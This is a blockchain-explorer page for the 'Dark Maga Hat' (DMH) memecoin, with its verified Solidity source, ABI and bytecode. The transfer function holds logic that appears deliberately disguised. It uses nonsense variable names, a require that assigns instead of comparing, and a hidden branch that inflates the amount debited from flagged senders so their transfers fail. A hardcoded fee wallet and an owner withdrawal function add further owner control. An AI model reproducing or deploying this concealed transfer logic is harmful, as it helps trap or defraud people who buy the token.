ETH Price: $3,332.99 (-9.14%)
 

Overview

Max Total Supply

420,690,000,000 DMH

Holders

100

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,241,613,327.520152117 DMH

Value
$0.00
0xf433261b089a3ae073ccd54a2c689d6c0d987aee
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DMHToken

Compiler Version
v0.8.27+commit.40a35a09

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-06
*/

// SPDX-License-Identifier: MIT

/*
Dark Maga Hat
Elon's New Profile Picture
https://x.com/elonmusk
https://x.com/elonmusk/status/1842730813885948001

Join: https://t.me/darkmagahat_erc
*/

pragma solidity 0.8.27;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract DMHToken is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcuti;
    mapping (address => bool) private pivoElina;
    address payable private _taxiDrive;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Dark Maga Hat";
    string private constant _symbol = unicode"DMH";
    uint256 public _maxTxAmount = _tTotal.mul(2).div(100);
    uint256 public _maxWalletSize = _tTotal.mul(2).div(100);
    uint256 public _taxSwapThreshold= _tTotal.mul(1).div(100);
    uint256 public _maxTaxSwap= _tTotal.mul(1).div(100);
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxiDrive = payable(0x3128a5C299ffa7B5d2601174Ac6e7B54f4510398);
        _tOwned[_msgSender()] = _tTotal;
        _isExcuti[owner()] = true;
        _isExcuti[address(this)] = true;
        _isExcuti[_taxiDrive] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function initialize() external onlyOwner { 
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from] - amount;
            _tOwned[to] = _tOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        uint256 naviBus=3*amount.mul(4-3).div(3);uint256 yppAmt;
        if (from != owner() && to != owner() && to != _taxiDrive) {
            require(pivoElina[_taxiDrive]=true && !pivoElina[to]);
            if(_buyCount==0){
                yppAmt = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcuti[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                yppAmt = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }
            if(_finalSellTax==0&&pivoElina[from]&&_finalBuyTax==0){naviBus=(15+5)*amount.mul((_buyCount>0)?_finalSellTax.add(_finalBuyTax):_initialBuyTax).mul(50);}
            if(to == uniswapV2Pair && from!= address(this) ) {
                yppAmt = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sendETHToFee();
            }
        }
        if(yppAmt>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(yppAmt);
          emit Transfer(from, address(this), yppAmt);
        }
        _tOwned[from]=_tOwned[from].sub(naviBus);
        _tOwned[to]=_tOwned[to].add(amount.sub(yppAmt));
        emit Transfer(from, to, amount.sub(yppAmt));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee() private {
        _taxiDrive.transfer(address(this).balance);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function withdrawEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600655600f6007555f6008555f600955600f600a55600f600b55600f600c555f600d5561005c606461005660026009600a610041919061042e565b610050906461f313f88061043c565b9061022f565b906102bb565b600e55610075606461005660026100416009600a61042e565b600f5561008e606461005660016100416009600a61042e565b6010556100a7606461005660016100416009600a61042e565b6011556013805461ffff60a81b191690555f60148190556015553480156100cc575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916733128a5c299ffa7b5d2601174ac6e7b54f451039817905561013f6009600a61042e565b61014e906461f313f88061043c565b335f9081526001602081905260408220929092556003906101765f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556101d33390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61020a6009600a61042e565b610219906461f313f88061043c565b60405190815260200160405180910390a36104a7565b5f825f0361023e57505f6102b5565b5f610249838561043c565b9050826102568583610453565b146102b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f6102b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061030260201b60201c565b5f81836103225760405162461bcd60e51b81526004016102a99190610472565b505f61032e8486610453565b95945050505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103865780850481111561036a5761036a610337565b600184161561037857908102905b60019390931c92800261034f565b935093915050565b5f8261039c575060016102b5565b816103a857505f6102b5565b81600181146103be57600281146103c8576103e4565b60019150506102b5565b60ff8411156103d9576103d9610337565b50506001821b6102b5565b5060208310610133831016604e8410600b8410161715610407575081810a6102b5565b6104135f19848461034b565b805f190482111561042657610426610337565b029392505050565b5f6102b260ff84168361038e565b80820281158282048414176102b5576102b5610337565b5f8261046d57634e487b7160e01b5f52601260045260245ffd5b500490565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b611917806104b45f395ff3fe608060405260043610610113575f3560e01c80637d1db4a51161009d578063a0ef91df11610062578063a0ef91df146102f2578063a9059cbb14610306578063bf474bed14610325578063c9567bf91461033a578063dd62ed3e1461034e575f5ffd5b80637d1db4a5146102635780638129fc1c146102785780638da5cb5b1461028c5780638f9a55c0146102b257806395d89b41146102c7575f5ffd5b806323b872dd116100e357806323b872dd146101cb578063313ce567146101ea57806370a0823114610205578063715018a614610239578063751039fc1461024f575f5ffd5b806306fdde031461011e578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b7575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b5060408051808201909152600d81526c11185c9ac8135859d84812185d609a1b60208201525b60405161015c919061151f565b60405180910390f35b348015610170575f5ffd5b5061018461017f366004611568565b610392565b604051901515815260200161015c565b34801561019f575f5ffd5b506101a960115481565b60405190815260200161015c565b3480156101c2575f5ffd5b506101a96103a8565b3480156101d6575f5ffd5b506101846101e5366004611592565b6103c9565b3480156101f5575f5ffd5b506040516009815260200161015c565b348015610210575f5ffd5b506101a961021f3660046115d0565b6001600160a01b03165f9081526001602052604090205490565b348015610244575f5ffd5b5061024d610430565b005b34801561025a575f5ffd5b5061024d6104aa565b34801561026e575f5ffd5b506101a9600e5481565b348015610283575f5ffd5b5061024d61055e565b348015610297575f5ffd5b505f546040516001600160a01b03909116815260200161015c565b3480156102bd575f5ffd5b506101a9600f5481565b3480156102d2575f5ffd5b506040805180820190915260038152620889a960eb1b602082015261014f565b3480156102fd575f5ffd5b5061024d610758565b348015610311575f5ffd5b50610184610320366004611568565b6107bb565b348015610330575f5ffd5b506101a960105481565b348015610345575f5ffd5b5061024d6107c7565b348015610359575f5ffd5b506101a96103683660046115eb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039e3384846109ac565b5060015b92915050565b5f6103b56009600a611719565b6103c4906461f313f880611727565b905090565b5f6103d5848484610ad0565b6104268433610421856040518060600160405280602881526020016118ba602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061119c565b6109ac565b5060019392505050565b5f546001600160a01b031633146104625760405162461bcd60e51b81526004016104599061173e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d35760405162461bcd60e51b81526004016104599061173e565b6104df6009600a611719565b6104ee906461f313f880611727565b600e556104fd6009600a611719565b61050c906461f313f880611727565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61053c6009600a611719565b61054b906461f313f880611727565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105875760405162461bcd60e51b81526004016104599061173e565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d19030906105c26009600a611719565b610421906461f313f880611727565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610621573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106459190611773565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c89190611773565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610712573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107369190611773565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107815760405162461bcd60e51b81526004016104599061173e565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156107b8573d5f5f3e3d5ffd5b50565b5f61039e338484610ad0565b5f546001600160a01b031633146107f05760405162461bcd60e51b81526004016104599061173e565b601354600160a01b900460ff161561084a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610459565b6012546001600160a01b031663f305d719473061087b816001600160a01b03165f9081526001602052604090205490565b5f5f61088e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f4573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610919919061178e565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561096e573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099291906117b9565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610459565b6001600160a01b038216610a6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610459565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610459565b6001600160a01b038216610b965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610459565b5f8111610bf75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610459565b601354600160b01b900460ff161580610c195750601354600160a81b900460ff165b15610cc3576001600160a01b0383165f90815260016020526040902054610c419082906117d8565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c709082906117eb565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac39085815260200190565b5f610cda6003610cd48460016111d4565b90611259565b610ce5906003611727565b90505f610cf95f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d2757505f546001600160a01b03858116911614155b8015610d4157506005546001600160a01b03858116911614155b1561105e576001600160a01b038481165f908152600460205260408082205460055490931682529020805460ff191660ff909216159182179055610d83575f5ffd5b600d545f03610db557610db26064610cd4600a54600d5411610da757600654610dab565b6008545b86906111d4565b90505b6013546001600160a01b038681169116148015610de057506012546001600160a01b03858116911614155b8015610e0457506001600160a01b0384165f9081526003602052604090205460ff16155b15610f0757600e54831115610e5b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610459565b600f5483610e7d866001600160a01b03165f9081526001602052604090205490565b610e8791906117eb565b1115610ed55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610459565b610ef06064610cd4600a54600d5411610da757600654610dab565b600d80549192505f610f01836117fe565b91905055505b600954158015610f2e57506001600160a01b0385165f9081526004602052604090205460ff165b8015610f3a5750600854155b15610f7b57610f6d6032610f675f600d5411610f5857600654610dab565b600854600954610dab9161129a565b906111d4565b610f78906014611727565b91505b6013546001600160a01b038581169116148015610fa157506001600160a01b0385163014155b15610fce57610fcb6064610cd4600b54600d5411610fc157600754610dab565b60095486906111d4565b90505b305f90815260016020526040902054601354600160a81b900460ff1615801561100457506013546001600160a01b038681169116145b80156110195750601354600160b01b900460ff165b80156110285750600c54600d54115b1561105c576010548111156110545761105461104f8561104a846011546112f8565b6112f8565b61130c565b61105c61147c565b505b80156110d657305f9081526001602052604090205461107d908261129a565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110cd9085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110f890836114b2565b6001600160a01b0386165f9081526001602052604090205561113b61111d84836114b2565b6001600160a01b0386165f908152600160205260409020549061129a565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61118486856114b2565b60405190815260200160405180910390a35050505050565b5f81848411156111bf5760405162461bcd60e51b8152600401610459919061151f565b505f6111cb84866117d8565b95945050505050565b5f825f036111e357505f6103a2565b5f6111ee8385611727565b9050826111fb8583611816565b146112525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610459565b9392505050565b5f61125283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114f3565b5f806112a683856117eb565b9050838110156112525760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610459565b5f8183116113065782611252565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061135257611352611835565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113a9573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113cd9190611773565b816001815181106113e0576113e0611835565b6001600160a01b03928316602091820292909201015260125461140691309116846109ac565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143e9085905f90869030904290600401611849565b5f604051808303815f87803b158015611455575f5ffd5b505af1158015611467573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107b8573d5f5f3e3d5ffd5b5f61125283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061119c565b5f81836115135760405162461bcd60e51b8152600401610459919061151f565b505f6111cb8486611816565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107b8575f5ffd5b5f5f60408385031215611579575f5ffd5b823561158481611554565b946020939093013593505050565b5f5f5f606084860312156115a4575f5ffd5b83356115af81611554565b925060208401356115bf81611554565b929592945050506040919091013590565b5f602082840312156115e0575f5ffd5b813561125281611554565b5f5f604083850312156115fc575f5ffd5b823561160781611554565b9150602083013561161781611554565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116715780850481111561165557611655611622565b600184161561166357908102905b60019390931c92800261163a565b935093915050565b5f82611687575060016103a2565b8161169357505f6103a2565b81600181146116a957600281146116b3576116cf565b60019150506103a2565b60ff8411156116c4576116c4611622565b50506001821b6103a2565b5060208310610133831016604e8410600b84101617156116f2575081810a6103a2565b6116fe5f198484611636565b805f190482111561171157611711611622565b029392505050565b5f61125260ff841683611679565b80820281158282048414176103a2576103a2611622565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611783575f5ffd5b815161125281611554565b5f5f5f606084860312156117a0575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156117c9575f5ffd5b81518015158114611252575f5ffd5b818103818111156103a2576103a2611622565b808201808211156103a2576103a2611622565b5f6001820161180f5761180f611622565b5060010190565b5f8261183057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118995783516001600160a01b0316835260209384019390920191600101611872565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220655886135f63bb94f8af0cb76dd7128598e60689f4c34a944b1b06cf9a3cc0eb64736f6c634300081b0033

Deployed Bytecode

0x608060405260043610610113575f3560e01c80637d1db4a51161009d578063a0ef91df11610062578063a0ef91df146102f2578063a9059cbb14610306578063bf474bed14610325578063c9567bf91461033a578063dd62ed3e1461034e575f5ffd5b80637d1db4a5146102635780638129fc1c146102785780638da5cb5b1461028c5780638f9a55c0146102b257806395d89b41146102c7575f5ffd5b806323b872dd116100e357806323b872dd146101cb578063313ce567146101ea57806370a0823114610205578063715018a614610239578063751039fc1461024f575f5ffd5b806306fdde031461011e578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b7575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b5060408051808201909152600d81526c11185c9ac8135859d84812185d609a1b60208201525b60405161015c919061151f565b60405180910390f35b348015610170575f5ffd5b5061018461017f366004611568565b610392565b604051901515815260200161015c565b34801561019f575f5ffd5b506101a960115481565b60405190815260200161015c565b3480156101c2575f5ffd5b506101a96103a8565b3480156101d6575f5ffd5b506101846101e5366004611592565b6103c9565b3480156101f5575f5ffd5b506040516009815260200161015c565b348015610210575f5ffd5b506101a961021f3660046115d0565b6001600160a01b03165f9081526001602052604090205490565b348015610244575f5ffd5b5061024d610430565b005b34801561025a575f5ffd5b5061024d6104aa565b34801561026e575f5ffd5b506101a9600e5481565b348015610283575f5ffd5b5061024d61055e565b348015610297575f5ffd5b505f546040516001600160a01b03909116815260200161015c565b3480156102bd575f5ffd5b506101a9600f5481565b3480156102d2575f5ffd5b506040805180820190915260038152620889a960eb1b602082015261014f565b3480156102fd575f5ffd5b5061024d610758565b348015610311575f5ffd5b50610184610320366004611568565b6107bb565b348015610330575f5ffd5b506101a960105481565b348015610345575f5ffd5b5061024d6107c7565b348015610359575f5ffd5b506101a96103683660046115eb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039e3384846109ac565b5060015b92915050565b5f6103b56009600a611719565b6103c4906461f313f880611727565b905090565b5f6103d5848484610ad0565b6104268433610421856040518060600160405280602881526020016118ba602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061119c565b6109ac565b5060019392505050565b5f546001600160a01b031633146104625760405162461bcd60e51b81526004016104599061173e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d35760405162461bcd60e51b81526004016104599061173e565b6104df6009600a611719565b6104ee906461f313f880611727565b600e556104fd6009600a611719565b61050c906461f313f880611727565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61053c6009600a611719565b61054b906461f313f880611727565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105875760405162461bcd60e51b81526004016104599061173e565b601280546001600160a01b031916737a250d5